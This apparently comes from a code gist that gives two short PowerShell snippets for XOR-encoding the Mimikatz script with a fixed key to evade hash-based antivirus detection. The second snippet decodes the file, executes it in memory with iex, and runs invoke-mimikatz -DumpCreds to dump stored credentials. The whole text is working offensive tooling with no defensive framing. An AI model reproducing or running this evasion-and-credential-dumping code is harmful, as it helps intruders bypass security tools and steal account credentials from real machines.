Example of xor'ing Mimikatz to avoid hash based detection

gistfile1.txt

#######EncodeExample
$inputMim = "C:\Tools\Mimikatz.txt"
$OutMimEnc = "C:\Tools\EncMimikatz.txt"
$bytes = [System.IO.File]::ReadAllBytes("$inputMim")
$key = 137
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $key
}
[System.IO.File]::WriteAllBytes("$OutMimEnc", $bytes)

#####Decode Example######
$iFile = "C:\Tools\EncMimikatz.txt"
$bytes = [System.IO.File]::ReadAllBytes("$iFile")
$key = 137
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $key
}
$String = [System.Text.Encoding]::ASCII.GetString($bytes)
iex $string ; invoke-mimikatz -DumpCreds